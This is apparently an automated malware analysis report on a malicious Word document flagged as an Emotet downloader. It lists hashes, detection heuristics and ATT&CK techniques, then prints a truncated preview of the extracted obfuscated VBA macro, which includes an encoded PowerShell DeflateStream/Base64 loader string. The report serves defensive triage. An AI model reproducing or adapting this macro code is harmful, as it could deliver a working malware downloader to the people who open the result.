Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e2641f3cdd21883b…

MALICIOUS

Office (OLE)

224.0 KB Created: 2018-04-03 16:43:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: c69b981d46efd640d389891f1c1e22f4 SHA-1: 63b9b4d060600261cc16939c7ffe4aa3036d8584 SHA-256: e2641f3cdd21883bf46d47128f71432a9ce6e32be501a00176b15731a37013d4
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function. This macro utilizes the CreateObject function and appears to be obfuscated, but the presence of the XKfql function suggests it is attempting to decode and download a payload from a URL. The decoded strings like 'rS5mAkvpfq680nmh0LninThPuEvnfe4n/wcF+c5S+G/E857/JRjHg3w8/PCg+Rv11+RP6RMa6t9a57Z18k3Ql0K+YC8ftxohk' are likely parts of a URL for a second-stage download. The macro's primary intent is to execute arbitrary code by fetching and running a remote payload.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37826 bytes
SHA-256: 856d8c2e7f013bc12108b9360484048ca906a7c2b72d05a157b5aba8a7c54c8c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wmvCbKUQJOEaFb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YJimaizOdr"
Function wmaNnJbOCiIAb()
On Error Resume Next
GliTfi = 83506 * 23545
IDasz = (68237 + CDate(7071 / Atn(DXiDEl)) / 63762 * wWkziL * 76685 * CInt(uijzwt) * NKwAU / CSng(YjjXK))
wzhCAB = Tan(82072)
DREoIp = XKfql("rS5mAkvpfq680nmh0LninThPuEvnfe4n/wcF+c5S+G/E857/JRjHg3w8/PCg+Rv11+RP6RMa6t9a57Z18k3Ql0K+YC8ftxohk", 7, 88)
LGMXwP = 71562 * 95163
CEiJK = (39547 + CDate(85299 / Atn(kMHXm)) / 3293 * XPopNc * 62086 * CInt(FKBHwZ) * EjaOj / CSng(jmofp))
QpiLYE = Tan(70793)
LwkoV = 83946 * 56168
jaMlb = (36314 + CDate(72057 / Atn(SDAiJ)) / 6770 * FowHO * 8971 * CInt(EZHzXf) * PFuiq / CSng(YpOEr))
qrZkct = Tan(15669)
hpjlJTpCwf = XKfql("Tt0o3vn8Sve+ESdU86mPYXuKfKY", 6, 19)
iAWkOQ = 12423 * 43092
divGtC = (97280 + CDate(12264 / Atn(TdpPau)) / 29514 * Oiiof * 8460 * CInt(vtPiK) * aTBCk / CSng(wowobd))
aiuPZb = Tan(40401)
UAAVs = 84365 * 56503
zRubGz = (74384 + CDate(13933 / Atn(SVRnEX)) / 41008 * FCaCME * 54992 * CInt(jnBROl) * JFwcOu / CSng(IUvjwI))
PPdium = Tan(78983)
aqWoQJvdEc = XKfql("zhAsyXfWHwaXzyV8Yrzce+eZBOoX9AH+iPjtAN8NNLL5tTv6cueOm0AFZXB", 4, 50)
rkMSj = 51374 * 24484
qZjYIi = (12242 + CDate(91105 / Atn(jPtGG)) / 61587 * TEQXY * 73947 * CInt(wHHNN) * vNOwj / CSng(GQkij))
hXOXv = Tan(91834)
rAwZKP = 79060 * 48540
oDIEPn = (81753 + CDate(55931 / Atn(hifjBN)) / 97125 * PrQffz * 27933 * CInt(GXmFDA) * Acjlt / CSng(oCDHY))
CQKzka = Tan(69697)
PWwswvRbp = XKfql("J/Fa9bFkec94htt3SP4OXGMKvF@pf5", 2, 21)
zISJGu = 56643 * 17781
DXthN = (58891 + CDate(6395 / Atn(cFWbp)) / 25417 * GPLKv * 46663 * CInt(iSATs) * XfzZf / CSng(zkfzpl))
iIVNY = Tan(16298)
PvXzb = 48479 * 48133
hupzE = (29266 + CDate(17204 / Atn(OFMqwo)) / 18110 * NLJkGD * 49070 * CInt(wARLC) * jVBlbo / CSng(FiaUjt))
inIbmp = Tan(68581)
IRkjV = XKfql(".hedXSpfBz/31g/tQB9pPa1jtQn9l3mk0MEAtX", 2, 31)
PoFdU = 30782 * 1954
zzsmV = (82792 + CDate(79361 / Atn(MVCIj)) / 68242 * ZKpvK * 84635 * CInt(YNsTFN) * zTQEac / CSng(nGPnw))
PRmbjf = Tan(45551)
ptlvdp = 25326 * 10940
jasauH = (1252 + CDate(22581 / Atn(Nihkz)) / 79054 * Dluqki * 31273 * CInt(Ihjoi) * asHnj / CSng(ZdiKK))
bWfJFv = Tan(92358)
WQzFSf = XKfql("G7XhNc9s4FvwruiWpUlKiSfnjMAdoxOGwZkkNsmamyJtX0cI2ZWfK9hYl1/z4xetuSDmxSILAew/d/Rr8+LybPv9YPe5+fZvNntzzXVU+7drbL3fd26Zxtw8/nr/8/bp9Kb/vnm8f3H42+zD7MJ9pXY.X", 4, 145)
ZESOF = 95722 * 19517
SMYMdo = (75011 + CDate(79721 / Atn(wNjHaD)) / 69187 * KHtWzc * 75556 * CInt(SrWasi) * vjLVmw / CSng(mjqiIi))
IzBii = Tan(90975)
rFPawF = 51726 * 15348
GIFbY = (53880 + CDate(80308 / Atn(VomiW)) / 5926 * SaRbNY * 78683 * CInt(GnPino) * jZzvRP / CSng(EjjjX))
PpwUCm = Tan(14092)
SUzDtDww = XKfql("CJbwbMs/x6nt/Ms6vLeXaZzeMlv5hnN9fzi3yBJ8XA3", 5, 37)
ozucR = 23340 * 97737
JtCioF = (25067 + CDate(71518 / Atn(lNwViu)) / 62479 * OhQpu * 61630 * CInt(hIvZD) * zDXQZ / CSng(ipmKcM))
QZKCFE = Tan(27128)
zjZXWV = 99365 * 94814
lNlJs = (46624 + CDate(55550 / Atn(VPwuzb)) / 6288 * jhWlU * 76060 * CInt(BIzNnr) * ntZwM / CSng(rPauQ))
UWnuzH = Tan(41856)
EzaXCBMVHc = XKfql("G1@odCdbzBuq77fqZ/U7HfGK/UT9M8q9Y1S/TzpOuq7BD/U/1kn8Bx9lbzGft+f66N9pB85UG/Yb1Kfob700r/UZ7fE58/91qt/SR+5LyX7k/HOc7+gE6ijxVNK74Ll/a5+cc7D6jCR57yHnuypn9SJQfjt0V8c+3rqj9zfo3zbHnE64qiRDqf7Xvo3SK/Q19hXjc,jA", 6, 191)
pndLw = 96907 * 69758
BtKpmQ = (55117 + CDate(4547 / Atn(BPqSQ)) / 13331 * ViSGNN * 98479 * CInt(RiPzQ) * zNcHO / CSng(jazEtl))
wsfuY = Tan(63435)
iRTPc = 51995 * 76760
trKwc = (40288 + CDate(9972 / Atn(VBVLE)) / 56513 * Qhnbs * 73706 * CInt(SuEbk) * XBGuSw / CSng(oHUUi))
XRWnAT = Tan(9686)
DBchshUDNo = XKfql("r( &('New-'+'Ob'+'j'+'eCt')  ('I'+'O'+'.StReAmr'+'eADER')(( &('N'+'ew'+'-ObjeCt')  ('sY'+'s'+'teM.io.COmprESs'+'iON.DefLAt'+'EstREa'+'m')( [IO.MEMOrYsTream] [cONVeRt]::FROMBaSE64sTrinG( 'TV1i0bcX", 2, 188)
Diozv = 51851 * 57053
PrAka = (95280 + CDate(3
... (truncated)

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